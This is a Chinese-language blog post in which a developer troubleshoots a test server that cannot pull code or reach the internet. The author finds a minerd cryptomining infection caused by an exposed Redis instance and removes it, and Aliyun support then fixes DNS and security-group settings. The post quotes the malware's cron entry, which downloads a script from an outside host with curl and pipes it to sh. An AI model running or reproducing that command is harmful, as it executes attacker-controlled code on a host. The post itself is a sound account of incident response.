服务器日常运维:服务器 ping 不通外网以及 minerd 挖矿程序的发现及解决,废话及心理活动较多,慢慢看。
git pull 失效
由于 G20 很多公司都要在九月1号到7号放假,这多出来的休息时间当然是要靠调休调回来的,所以今天作为周日,也是上班。
本以为是平平常常的一天,但是在我像日常一样 git pull 的时候,发现没有权限了,拖不下代码了,我还特别纳闷,周五都好好的,怎么一两天过去了咋都变了呢?
提示没有权限,首先想到的是 home 目录下的 .ssh/id_rsa.pub 及 .ssh/id_rsa 文件是否被修改了。因为不止我一个人有权限操作,首先想到的就是这个了。由于先前将该文件备份过,所以对比了下,发现并没有改变啊,并且看文件的更新时间,还是很久以前,我就越发奇怪了。
重新生成 SSH KEY
文件又没有被改动过,说明服务器上的是正常的,那会不会是代码托管服务出问题了?然后查了查资料,发现的确有人遇到这种问题,公钥明明已经添加在白名单中了,但是在提交代码的时候还是提示没有权限,所以我在想是不是代码托管服务器把我的公钥弄丢了。(虽然不大可能,但是还是抱有这样的心理),于是重新生成了一份 SSH KEY ,生成步骤如下:
- 查看是否已经存在 ssh key:
cd ~/.ssh如果已经生成过的话,则会存在该目录rm -rf ~/.ssh如果存在的话,则删除
- 设置 Git 的 username 和 email:
git config --global user.name "adobe1874"git config --global user.email "adobe1874@126.com"注:这里填的是在代码托管服务平台注册的邮箱ssh-keygen -t rsa -C "adobe1874@126.com"生成 SSH KEY- 连按几个回车键,然后
ls ~/.ssh,会发现在 ssh 目录下,会有 id_rsa 和 id_rsa.pub 文件 cat id_rsa.pub将其内容添加到代码托管服务平台的项目公钥列表中。
- 做好以上几步工作,就可以使用 Git 的相关功能了。比如 git clone ,git pull,git push 等。
git 操作依然失效
但是我错了!Too Young Too Simple.
重新配置了 id_rsa.pub 后,再去操作 git pull,依然提示我没有权限。这时候我去 ~/.ssh 文件夹下,发现了多了个 authotrized_keys ,并且还有个 KHK75NEOiq 文件,但是当时并没有在意具体是什么。一心想着是不是 Coding(使用的项目托管服务) 那边出问题了,还私信了他们的工作人员,但是可能由于是周日,也没人回复。
ping 失效
等等,我好像发现了个了不起的事情。
不能干等着别人的回复啊,于是趁这段时间想给服务器安装个 TLDR(Too Long Don’t Read) 工具,之前一直在自己的电脑上使用,感觉很好用,所以也打算在服务器上安装个。

详细介绍见 有了 tldr,妈妈再也不用担心我记不住命令了
但是发现迟迟更新不下来啊,等啊等啊,还是不行,这时候我想差不多是网络有问题。
但是我踏马也只是想想。
“少年,你 ping 一下外网。”知道了我的问题后,一个朋友对我说。我很惭愧,我怎么没想到呢?
ping www.baidu.com
十几秒后,服务器返回
ping:unknown host www.baidu.com
What The Fuck!
ping 8.8.8.8
返回结果一样是 unknown host,很是疑惑,前两天一切都好好的,怎么了这是!于是上网查资料,找到文章 linux系统:”ping: unknown host www.baidu.com” ,按照文章的步骤,发现最后依然不凑效。
万般无奈之下,提交了个工单给阿里的售后运维人员。
异常进程
“您好,我的服务器 ping 不了外网了,您能帮忙看看吗?”
几分钟后,阿里运维人员就回复我了,不看不要紧,一看吓一跳

服务器的 CPU 一直处于 95%-100% 之间,阿里运维人员还给我提供了一个链接 Linux 异常进程 minerd 导致系统 CPU 跑满
上网查了下资料,发现这个是由于 Redis 漏洞引起的,是一个挖矿进程。
该漏洞介绍: Redis 未授权访问缺陷可轻易导致系统被黑 ,这里面说得很清楚。
处理 minerd
该方案亲测不可行,在关闭 minerd 进程,并删除对应的文件后,大概 5-10 秒后,该进程及文件又重新生成。
- 新的解决方案 关于服务被挖矿程序minerd入侵解决方法
iptables -A INPUT -s xmr.crypto-pool.fr -j DROPiptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP在终端输入上面两行命令,关掉与挖矿相关的服务vim /var/spool/cron/rootvim /var/spool/cron/crontabs/root将两个 root 文件中定时脚本*/15 * * * * curl -fsSL https://r.chanstring.com/api/report?pm=0706 | sh删除rm -rf /opt/minerdrm -rf /opt/KHK75NEOiq33rm -rf /root/.ssh/KHK75NEOiqpkill minerdlady - service lady stop
可能该木马进行了升级,在处理第五步时,发现并没有注册 lady 服务。和第一种方案一样,即使删除了定时脚本,minerd 进程依然会自动启动。
- 最终解决方案 阿里云服务器被挖矿minerd入侵的解决办法
iptables -A INPUT -s xmr.crypto-pool.fr -j DROPiptables -A OUTPUT -d xmr.crypto-pool.fr -j DROPcd /optchmod -x minerd取消掉执行权限pkill minerd杀掉进程top
该方案为最终解决方案,截止到目前为止,minerd 进程没有再次出现。
该博文作者还提供了几点不错的建议,欢迎大家去参考。
处理 ping 失效
解决了 minerd 恶意进程的问题后,ping 依然失效。
由于自己对于服务器运维经验匮乏,且查阅一些资料后,依然没有很好地解决该问题,所以最终还是麻烦阿里售后运维人员帮我解决。
在售后人员一个多小时的努力后,工单得到了回复,以下是回复内容:
您好,经过之前的分析检查,针对您的问题目前掌握信息与问题分析如下:
[当前排查进展]
问题原因已经排查清楚,由于您的服务器所属的安全组只放行了 TCP 的链接,同时您将系统中的 DNS 服务器设置为了 8.8.8.8 的公网地址,DNS 解析使用 UDP 协议,所以系统内无法解析域名,自然无法获取到信息。同样的,ping 使用 ICMP 协议,在安全组中也未放行,所以也是无法 ping 通外部站点的。
[下一步排查计划]
在安全组中放行 ICMP 协议
在安全组中放行 8.8.8.8 和 8.8.4.4 两个地址的 UDP 协议,或者将系统内 DNS 服务器改为 10.242.197.247 和 10.242.197.248 (阿里云内网 DNS)
由此可见,阿里运维人员的工作态度真的非常好,不仅跟你说明问题所在,还跟你说明为什么出现该问题及对应的解决方案。
不过关于 在安全组放行 ICMP 协议 ,我还有点不明白,虽然知道 ping 是使用该协议的,但是以前一直都是那么配置的,也是可以 ping 通的。
最终的解决方案,阿里云工单:
[ 问题现象 ]
服务器内无法访问外网
[ 解决方案 ]
我们在服务器内添加了内网的DNS,同时告知您在安全组中放行了ICMP协议,问题解决。以下是我们在服务器内的具体修改:
vim /etc/resolv.conf开头添加了以下两行:nameserver 10.242.197.247(阿里云内网 DNS )nameserver 10.242.197.248(阿里云内网 DNS )
写在最后
所幸这次问题出在测试服务器,如果出在生产环境的话,后果真的太严重了。
对于服务器运维的基本技能还是要多掌握,免得到时候出问题了手忙脚乱心慌慌。
另外遇到问题要冷静点,像我想到了可能没有网络,不能访问外网,但是却没想到去 ping 一下进行验证,哎,何其可悲。
感谢阿里云售后运维人员的耐心帮助,受我以鱼且受我以渔!